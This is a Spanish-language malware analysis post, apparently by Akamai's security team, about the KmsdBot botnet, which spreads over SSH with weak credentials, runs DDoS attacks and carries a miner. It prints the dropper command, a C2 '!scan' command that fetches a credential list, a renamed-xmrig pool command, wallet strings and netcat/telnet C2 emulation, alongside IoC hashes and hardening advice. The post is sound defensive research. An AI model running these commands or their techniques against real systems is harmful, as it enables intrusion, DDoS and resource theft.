KmsdBot: El ataque y el malware de minería
Resumen ejecutivo
El grupo de inteligencia sobre seguridad de Akamai ha observado un nuevo malware que infectó nuestro señuelo, que hemos denominado KmsdBot.
Este botnet infecta los sistemas a través de una conexión SSH que utiliza credenciales de inicio de sesión poco seguras.
Está escrito en Golang, un lenguaje cada vez más común para los atacantes debido a la dificultad de la ingeniería inversa.
El malware ataca mediante UDP, TCP, HTTP POST y GET, junto con una infraestructura de mando y control (C2), que se comunica a través de TCP.
El malware no permanece persistente en el sistema infectado como una forma de evadir la detección.
El malware tiene diversos objetivos, incluidos el sector de los juegos, el sector tecnológico y los fabricantes de coches de lujo.
La botnet también tiene la capacidad de minar criptomonedas.
El malware es compatible con varias arquitecturas, como Winx86, Arm64 y mips64, x86_64.
Otro día más, otro malware más
El objetivo del equipo de respuesta a incidentes e inteligencia en seguridad (SIRT) de Akamai es rastrear, detectar, documentar y publicar nuevos descubrimientos para proteger la seguridad y la estabilidad de Akamai, a sus clientes y a Internet en su conjunto. Como parte de esta misión, tenemos miles de señuelos esparcidos por Internet. Los miembros del SIRT observan y analizan estos señuelos, lo que conduce a todo tipo de hallazgos interesantes, además de permitirnos mantenernos informados sobre lo que hay en circulación.
Esta semana, empezamos a experimentar con una nueva configuración de señuelo para ver qué más podíamos encontrar, especialmente a medida que nos acercamos a la temporada de vacaciones. Dado que tradicionalmente hemos visto más actividad maliciosa en esta época del año, el nuevo señuelo se ha configurado de forma más abierta y accesible durante las primeras etapas de las pruebas y modificaciones. Qué mejor manera de probarlo, ¿no?
Por supuesto, hemos encontrado una entrada de registro interesante: un proceso de criptominería con funcionalidad de denegación de servicio distribuido (DDoS) adaptada al sector de los videojuegos. No es frecuente que estos tipos de botnets ataquen y se propaguen activamente, especialmente los que están escritos en Golang. Los objetivos van desde empresas de juegos hasta marcas de coches de lujo y empresas de seguridad; este malware es casi errático con respecto a sus objetivos.
En esta publicación describiremos la historia de cómo detectamos KmsdBot con nuestros mecanismos para que pueda investigarlo y mejorar la seguridad en su propia organización.
Compruebe siempre los registros
Como el señuelo estaba configurado de forma bastante más abierta, esperábamos que tuviera muchos ataques. Después de todo, un buen señuelo es atractivo para los atacantes. Había algunos comandos para descargar malware, así que comenzamos una investigación. Tras la revisión, había bastantes entradas como la que se ve en la figura 1.
Fig. 1: Entrada de registro del comando de descarga y ejecución de infección de malware
Utilizamos el protocolo de transferencia de archivos (FTP) para iniciar sesión en el sistema y obtener acceso a todos los archivos disponibles para su descarga. Esto nos puede proporcionar un poco de información sobre las motivaciones del propio malware y, potencialmente, los atacantes que hay detrás de él.
Fig. 2: Varias arquitecturas de CPU compatibles
La figura 2 muestra la estructura de directorios del servidor de descargas FTP. Podemos ver los directorios de la arquitectura del sistema: algunos contienen binarios compilados, mientras que otros están vacíos. Sin embargo, los directorios vacíos muestran las ubicaciones a las que pueden dirigirse los autores del malware a continuación. El script download.php contiene código de infección que descargará y ejecutará el malware en el servidor web en el que se ejecuta:
Fig. 3: El script download.php contiene código de infección que descargará y ejecutará el malware en el servidor web en el que se ejecuta
Tras un análisis más detallado, parecía haber bastantes binarios compilados para varias arquitecturas (figura 3). Aunque algunos de los directorios están vacíos, algunas arquitecturas (como x86_64 y 386) tienen muestras de malware para su descarga. Es importante recordar esto para cuando analicemos los objetivos más adelante en la publicación.
Fig. 4: Los binarios de tamaño similar parecen ser revisiones de la misma base de código de malware
Todos los archivos son binarios compilados en el lenguaje Go.
client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped
Análisis
Una diferencia entre la salida de la fuente de redress para el binario del cliente y el binario ksmdm revela que es probable que sean lo mismo con ligeras diferencias de código. Redress es una utilidad de ingeniería inversa del lenguaje Go de código abierto que reconstruye estructuras en los binarios de Go para ayudar en la ingeniería inversa. Se trata de una herramienta fundamental, ya que cada vez más atacantes utilizan Golang para sus iniciativas maliciosas, probablemente porque supone un mayor desafío para la ingeniería inversa.
¿Es el mismo malware? ¿Diferente? ¿O todo?
El nombre del paquete Go "/root/client" es el mismo para la mayoría de los binarios, lo que implica que podrían ser el mismo malware, pero quizás revisiones diferentes con funcionalidad más reciente. El malware se actualiza a menudo, pero este va en varias direcciones, lo cual es único. Creemos que hay un binario de cliente que se comunica con el C2, realiza actualizaciones, e inicia y detiene el proceso de minería. El otro binario parece realizar operaciones de minería y ataque.
$ diff client.source ksmdm.source
19,23c19,23
< start Lines: 12 to 28 (16)
< startfunc1 Lines: 19 to 30 (11)
< startfunc2 Lines: 22 to 22 (0)
< udpclimb Lines: 30 to 60 (30)
< tcpclimb Lines: 60 to 88 (28)
---
> start Lines: 10 to 26 (16)
> startfunc1 Lines: 17 to 28 (11)
> startfunc2 Lines: 20 to 20 (0)
> udpclimb Lines: 28 to 58 (30)
> tcpclimb Lines: 58 to 86 (28)
El primer objetivo observado de este malware fue una empresa de juegos llamada FiveM, un cliente que permite a las personas alojar servidores privados personalizados para Grand Theft Auto Online. La figura 4 muestra la apertura de un socket UDP y la creación de un paquete con un token de sesión de FiveM. Esto hará que el servidor crea que un usuario está iniciando una nueva sesión e invertirá recursos adicionales además del ancho de banda de red. El malware no solo incluye ataques específicos dirigidos, sino que también incluye ataques genéricos de capa 4 y capa 7.
Fig. 5: Desmontaje de la función sym.main.udpfivemtoken que muestra la creación de un paquete UDP con datos de token FiveM
Análisis y propagación
Un examen de la muestra de ksmdx revela funciones para realizar operaciones de análisis y actualizaciones de software, y para controlar el proceso de minería.
Package main: /root/client
File: client.go
(*Client)Recv Lines: 23 to 34 (11)
(*Client)Handle Lines: 34 to 52 (18)
(*Client).Handlefunc1 Lines: 35 to 35 (0)
File: command.go
NewCommand Lines: 15 to 32 (17)
(*Command)Handle Lines: 32 to 62 (30)
File: commandfunctions.go
ShellExec Lines: 11 to 23 (12)
scan Lines: 23 to 50 (27)
stopscan Lines: 50 to 69 (19)
updateminer Lines: 69 to 108 (39)
stopmine Lines: 108 to 127 (19)
updateclient Lines: 127 to 159 (32)
File: main.go
main Lines: 8 to 16 (8)
File: methods.go
start Lines: 12 to 28 (16)
startfunc1 Lines: 19 to 30 (11)
startfunc2 Lines: 22 to 22 (0)
udpclimb Lines: 30 to 60 (30)
tcpclimb Lines: 60 to 88 (28)
File: utils.go
randomwallet Lines: 73 to 79 (6)
envname Lines: 79 to 129 (50)
El binario ksmdx es un programa de descarga que notifica al C2 que el sistema ha sido infectado enviándole una solicitud HTTP POST con la notificación "Bruh Started:".
$./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds
Vemos la solicitud GET en los registros del servidor HTTP:
192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"
Al iniciar un listener en el puerto 45833, aparece el mensaje POST de confirmación de la ejecución:
Se puede enviar el comando !scan al bot a fin de descargar una lista de credenciales de inicio de sesión (figura 5) para utilizarla cuando busque puertos SSH abiertos:
!scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd
Fig. 6: El archivo kzmds es una lista de combinaciones de nombres de usuario y contraseñas
Comunicación de C2
[pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
Cuando volví a comprobar mis registros, vi que el malware estaba atacando mi señuelo desde una nueva dirección IP. Estaba cargando nuevos binarios que tenían una nueva dirección IP C2 incorporada.
Al observar el tráfico de red, vemos que el sistema infectado inicializa la conexión con un byte nulo de 0x00 y se envía una respuesta de 0x01 desde el C2. El sistema infectado responde entonces con un 2 en 0x02 hexadecimal.
[pid 2514865] write(4, "0x02", 4) = 4
And 0x01 is the response
xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
0x0000: 4500 0038 adf3 4000 3a06 9b4a ab16 1e1f E..8..@.:..J....
0x0010: c63a 6812 c8bc cc38 81f9 f90a abeb 552a .:h....8......U*
0x0020: 8018 01fe f2b4 0000 0101 080a 3cc2 30e0 ............<.0.
0x0030: f269 b8b6 3078 3031 .i..0x01
Podemos probar esto rápidamente con la utilidad netcat.
$ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01
[pid 2516369] write(4, "0x00", 4) = 4
It looks like 0x02 is the heartbeat
xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
0x0000: 4500 0038 3010 4000 4006 132e c63a 6812 E..80.@.@....:h.
0x0010: ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2 .....8....T.....
0x0020: 8018 01f6 f7ac 0000 0101 080a f268 5151 .............hQQ
0x0030: 3cc0 b581 3078 3032 <...0x02
Hablando con el C2
El texto resaltado en verde a continuación es la respuesta del C2 y el texto resaltado en azul es donde emulé el malware enviando la respuesta 0x02.
% telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01
Criptominería
A continuación se muestran las posibles cuentas de usuario de carteras de criptomonedas de la función sym.main.randomwallet(). Sospecho que se eligen al azar para contribuir a varios pools de minería. Durante el periodo de tiempo que pasé observando la botnet, no fui testigo de ninguna actividad de criptominería. La botnet solo se dedicaba a actividades DDoS. El bot cuenta con la funcionalidad para iniciar la actividad de criptominería; sin embargo, he encontrado un comando ./ksmdr -o pool.hashvault.pro donde ksmdr es en realidad un binario xmrig al que se le ha cambiado el nombre.
│ │╎ 0x0065b6b0 488d05356c08. lea rax, [0x006e22ec] ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│ │╎ 0x0065b6b7 4889442428 mov qword [var_28h], rax
│ │╎ 0x0065b6bc 48c74424305f. mov qword [var_30h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6c5 488d053d6d08. lea rax, [0x006e2409] ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│ │╎ 0x0065b6cc 4889442438 mov qword [var_38h], rax
│ │╎ 0x0065b6d1 48c74424405f. mov qword [var_40h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6da 488d05c96c08. lea rax, [0x006e23aa] ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│ │╎ 0x0065b6e1 4889442448 mov qword [var_48h], rax
│ │╎ 0x0065b6e6 48c74424505f. mov qword [var_50h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6ef 488d05556c08. lea rax, [0x006e234b] ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"
El examen de las estructuras de origen muestra que algunos binarios son diferentes versiones actualizadas de la misma base de código, por lo que parece que esta botnet está en proceso de desarrollo activo.
$ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< (*Command)Handle Lines: 32 to 136 (104)
---
> (*Command)Handle Lines: 32 to 144 (112)
11,18c11,20
< scan Lines: 23 to 50 (27)
< stopscan Lines: 50 to 69 (19)
< updateminer Lines: 69 to 108 (39)
< stopmine Lines: 108 to 127 (19)
< updateclient Lines: 127 to 161 (34)
< loadclient Lines: 161 to 180 (19)
< startminer Lines: 180 to 193 (13)
< reloadminer Lines: 193 to 208 (15)
---
> scan Lines: 23 to 52 (29)
> startscan Lines: 52 to 75 (23)
> stopscan Lines: 75 to 97 (22)
> updateminer Lines: 97 to 144 (47)
> stopmine Lines: 144 to 166 (22)
> updateclient Lines: 166 to 202 (36)
> loadclient Lines: 202 to 221 (19)
> removefile Lines: 221 to 235 (14)
> startminer Lines: 235 to 248 (13)
> reloadminer Lines: 248 to 264 (16)
54,60c56,62
< getrandpath Lines: 12 to 62 (50)
< get Lines: 62 to 109 (47)
< fivem Lines: 109 to 156 (47)
< fivemguid Lines: 156 to 204 (48)
< post1 Lines: 204 to 255 (51)
< post Lines: 255 to 344 (89)
< bigdata Lines: 344 to 386 (42)
---
> getrandpath Lines: 11 to 61 (50)
> get Lines: 61 to 108 (47)
> fivem Lines: 108 to 158 (50)
> fivemguid Lines: 158 to 206 (48)
> post1 Lines: 206 to 257 (51)
> post Lines: 257 to 346 (89)
> bigdata Lines: 346 to 388 (42)
Análisis del tráfico de ataque
Los ataques que he observado han sido paquetes TCP/UDP de capa 4 con datos aleatorios como carga útil o HTTP de capa 7 que consta de solicitudes GET y POST a la ruta raíz o a una ruta especificada establecida en el comando de ataque (figura 6).
Fig. 7: Solicitudes POST de ataque
En las capturas de pantalla siguientes se muestran encabezados de solicitud dañados con referencias aleatorias que no incluyen un encabezado. Hemos limpiado algunas de estas imágenes con fines de privacidad.
En la figura 8, podemos ver un comando !post procedente de C2 que ordena un ataque contra un objetivo.
Fig. 8: Comando de ataque desde C2
El C2 se define en la función sym.main.connect() y se muestra en las figuras 8, 9 y 10.
Fig. 9: Desmontaje de la función de comunicación de C2
Fig. 10: Desmontaje del código de respuesta 0x02
Fig. 11: Paquete de ataque de Big Data de TCP
IoC
SHA256
701b874a56a9a0ed4101a88621441afec936c4210e18d9a3e20f9a95c454ce40 client
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
714eeba5b6e4610946cd07c1ddadddc94052bfe450a8a9b1c23495721082884d ksmdx
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51 kzmd
09761d69bd5b00b2e767a1105dd3e80ce17b795cd817676c737a1e83c5b96f1b kumd.exe
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab ksmdr(xmrig)
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
01b4d10e08d10c36d0c50f00d017fd6b3da8ebdd194ecafd12b0335c07f9ae10 ksmdx
74075b2bdfaf52d9e5984a28ec7765ae489077a69dd696718e724a455a6f7910 kumd
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
7fe04a3307666e6b6dac381664c901daea3ed5e8af3d7700ac5bde9550350d5a kmsd.amd64
2e091ecc4c912e6fbe4258da470459018dc8f3efde2803281a416a2c8eb8cf1a kmsd.arm
7c8a06b85280a43f96215203fb229d0f2a91b23d84e6ab2d25d9382fef19c35b kmsd.arm64
da609100cb66e6e4e79916ca1e7481269406e6a484f46187b3accb1626552d61 kmsd.mips
8136613eb3427f908a200f52b7938cc184a31b626b6c85a35e664c064de6d533 kmsd.mips64
50f2fb45c11e40ea4bbf4a8a733b6e65ce25c3f182aa0aa33ffb59ebae712003 kmsd.mipsle
e5a06b250ba10fe0156efe7399b321cb8b1fc8b1929e49ee62d837fa1440313f kmsd.ppc64
2971a37849388c7c3af0840eabc52f0b604fb9894429b7397100b12a069cfeff kmsd.ppc64le
247b0d5e40b8b1ec316e9700b499a2dc20d73bfd7f36d913e7725334a2818a7e kmsd.riscv64
7517e597a6ba4a8659b2dd4252085a99baca000684435f8b451af1418bfcac84 kmsd.s390x
Conclusión
Esta botnet es un gran ejemplo de la complejidad de la seguridad y del gran ritmo al que evoluciona. Lo que parece haber comenzado como un bot para una aplicación de juegos ha dado un giro para atacar a grandes marcas de lujo. La novedad es la manera en que infecta: a través de una conexión SSH que utiliza credenciales de inicio de sesión poco seguras. La buena noticia es que las técnicas que recomendamos a la mayoría de organizaciones para mantener las redes y los sistemas seguros se aplican también en este caso.
No utilice credenciales poco seguras o predeterminadas para los servidores o las aplicaciones implementadas.
Asegúrese de mantener actualizadas las aplicaciones implementadas con los parches de seguridad más recientes y de comprobarlas periódicamente.
Utilice la autenticación de clave pública para sus conexiones SSH. Esta es la mejor manera de evitar este tipo de vulneración de sistemas.
El SIRT de Akamai continuará supervisando esta actividad y publicando actualizaciones a medida que estén disponibles.
Para obtener más información y actualizaciones en tiempo real, asegúrese de seguirnos en Twitter.